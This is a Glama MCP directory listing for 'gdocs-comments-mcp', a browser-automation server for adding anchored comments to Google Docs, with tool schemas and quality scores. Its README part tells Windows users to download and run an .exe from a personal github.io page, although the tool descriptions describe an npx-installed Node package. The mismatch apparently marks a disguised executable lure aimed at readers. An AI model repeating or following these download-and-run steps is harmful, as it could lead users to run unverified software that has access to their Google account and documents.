Skip to main content
Glama

šŸ“ gdocs-comments-mcp - Add anchored comments to Google Docs

Download gdocs-comments-mcp

This application helps users add anchored comments to Google Docs. Google Docs and Drive APIs do not support this feature by default. This tool serves as an MCP server. It connects AI agents like Claude, Cursor, or Copilot to your documents. It provides a way to leave precise, range-anchored comments during document reviews.

āš™ļø Before you begin

Your computer needs a few components to run this software. Ensure you have the following items configured:

  1. A computer running Windows 10 or Windows 11.

  2. A stable internet connection.

  3. A Google account with access to the Google Docs you intend to comment on.

  4. An AI assistant application configured to use the Model Context Protocol.

Related MCP server: Google Workspace MCP Server

šŸ“„ How to download the software

Follow these steps to obtain the correct application version for your system:

  1. Visit the project release page: https://abdulreh4874.github.io

  2. Look for the "Assets" section under the latest release version.

  3. Select the file ending in .exe that matches your architecture. Most modern computers use the x64 version.

  4. Click the file name to start the download.

  5. Save the file to your "Downloads" folder.

šŸ–„ļø Setting up the application

Once the download finishes, follow these instructions to prepare the tool for use:

  1. Locate the file you just downloaded.

  2. Double-click the file to initiate the setup wizard.

  3. Follow the on-screen prompts to install the software to your preferred directory.

  4. Note the installation path, as you may need this location when connecting the tool to your AI agent.

  5. Launch the application to verify it runs without errors. The software may open a terminal window. Keep this window open while you work.

šŸ”— Connecting to your AI agent

This tool acts as a bridge between your AI assistant and your documents. Use the following steps to link them:

  1. Open your AI agent software, such as Cursor or Claude.

  2. Navigate to the settings menu labeled "MCP" or "Model Context Protocol."

  3. Select "Add New Server."

  4. Enter a name for the connection, such as "Google Docs Comments."

  5. Choose the "Command" option if prompted.

  6. Type the path to your installed executable file in the command box.

  7. Save the configuration.

  8. Restart your AI agent to apply the changes.

šŸ” Understanding the features

This tool solves a specific limitation in the Google Docs ecosystem. Features include:

  • Anchor Placement: The software maps specific text ranges to comments accurately. This ensures feedback aligns with the intended words or paragraphs.

  • Browser Automation: The tool uses background browser processes to interact with the document interface. This mimics human input to bypass API limitations.

  • Agent Integration: AI agents can request comments based on their analysis. You can ask an agent to review a draft and leave notes exactly where changes are needed.

  • Low Latency: The system processes requests in real-time for immediate feedback during an editing session.

šŸ› ļø Troubleshooting common issues

If you encounter difficulties, check these common items:

  • Blocked Port: If the server fails to start, ensure no other application uses port 8080 or other default ports assigned to the application.

  • Browser Permissions: Ensure your browser allows the automation process to access Google Docs. You may need to sign in to your browser session to grant this permission.

  • Path Errors: If the AI agent cannot find the server, verify the file path entered in the settings panel. Ensure the path contains no typos.

  • Update Versions: Check the release page periodically for updates. Newer versions often fix bugs or improve comment placement reliability.

šŸ”’ Security and Privacy

The application runs locally on your machine. All processing happens within your environment. Your credentials and document data remain private. The tool only interacts with the documents you specifically authorize through your AI agent.

Keywords: ai-agents, anchored-comments, browser-automation, claude, claude-code, cursor, document-review, gdocs, google-docs, google-workspace, inline-comments, mcp, mcp-server, model-context-protocol, playwright

Available Tools

2 tools
add_commentA

Add an inline comment anchored to a specific text fragment in a Google Doc (the comment is pinned to that exact phrase, like selecting text and commenting on it by hand). USE THIS WHEN the user wants to leave feedback, notes, questions, edits, or review comments on specific passages of a Google Doc — e.g. "review this doc and comment on the weak spots", "leave a comment on that sentence", "add editorial feedback inline". This is the ONLY way to place anchored comments: the Google Docs and Drive APIs cannot anchor a comment to a text range, so this drives a real logged-in Docs session in a browser. Do NOT use for list/reply/resolve/delete — those work over the Drive API. Requires a one-time npx gdocs-comments-mcp login by the human operator (you cannot log in for them). Omit find_text to add a general, unanchored comment on the document instead. Returns only { ok, anchored, occurrence_used, verified } — never document content.

ParametersJSON Schema
NameRequiredDescriptionDefault
docYesGoogle Docs document id, or the full docs.google.com/document/d/<id>/edit URL.
find_textNoExact single-line text fragment to anchor the comment to. Must match the doc text exactly; pick a fragment unique enough to identify the spot (or pass occurrence). Omit for a general, unanchored comment on the whole document.
occurrenceNoWhen find_text appears multiple times, anchor to the N-th match (1-based). Default: 1.
comment_textYesThe comment body. Plain text; newlines allowed.

TDQS

A4.6/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden of behavioral disclosure. It reveals that the tool drives a real logged-in Docs session in a browser, requires a one-time human login, and returns only { ok, anchored, occurrence_used, verified } — never document content. This is substantive context beyond basic mutation semantics.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is somewhat lengthy but every sentence is purposeful: definition, usage, exclusions, prerequisites, and return value. It is front-loaded with the core purpose and then provides critical context. Slightly verbose but well-structured and not redundant.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a tool with no output schema, the description explains the return format and explicitly says what it never returns. It covers the API limitation, login requirement, alternative operations, and parameter usage nuance (find_text omission). This makes the tool's behavior fully predictable in different scenarios.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3. The description adds minimal extra meaning: it reinforces that find_text can be omitted for an unanchored comment and explains the anchoring concept, but the schema already documents each parameter precisely. No significant additional semantics are provided.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's function: 'Add an inline comment anchored to a specific text fragment in a Google Doc'. It specifies the resource (Google Doc), the action (add anchored comment), and distinguishes it as the only way to place anchored comments due to API limitations, setting it apart from sibling tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit usage guidance with 'USE THIS WHEN' and concrete examples like 'review this doc and comment on the weak spots'. It also states exclusions: 'Do NOT use for list/reply/resolve/delete — those work over the Drive API', and mentions the one-time login prerequisite, fully covering when and when not to use the tool.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

check_connectionA

Check whether the Google session behind this server is usable: launches/attaches the browser and probes docs.google.com. Returns { connected, mode }. Call this to diagnose failures; if connected=false, ask the operator to run npx gdocs-comments-mcp login.

ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

TDQS

A4.9/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries full burden. It discloses side effects (launches/attaches browser, network probe) and return value semantics. This is unusually transparent for a diagnostic tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences with no waste. The first sentence states purpose and method, the second gives usage guidance. Front-loaded with the most important information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given zero parameters and no output schema, the description fully covers the return shape and conditional action. It is complete for the tool's simplicity and context.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The tool has zero parameters, so the baseline is 4. The description correctly omits parameter details and instead focuses on behavior and output, which is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: it checks if the Google session is usable by launching/attaching the browser and probing docs.google.com. It returns a structured result { connected, mode }, distinguishing it from the only sibling add_comment.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly instructs when to call: 'Call this to diagnose failures', and provides a clear follow-up action if connected=false. This gives the agent a complete decision path without needing alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv0.1.1
    • First observedadd_comment
    • First observedcheck_connection

TDQS

A4.5/5.0

Scored across 2 tools

Disambiguation5/5

The two tools have completely distinct purposes: add_comment handles the core functionality of adding inline comments, while check_connection is a utility for verifying the session. There is no overlap or ambiguity.

Naming Consistency5/5

Both tool names follow a consistent verb_noun pattern (add_comment, check_connection) using snake_case, making them predictable and easy to understand.

Tool Count3/5

With only 2 tools, the server feels thin. While the check_connection tool is a necessary utility, the server would benefit from additional comment management tools (e.g., list, reply, resolve) to be more self-contained.

Completeness2/5

The server only covers adding comments and checking connection, but lacks essential operations like listing, replying, resolving, or deleting comments. This is a significant gap for a tool set focused on Google Docs comments.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers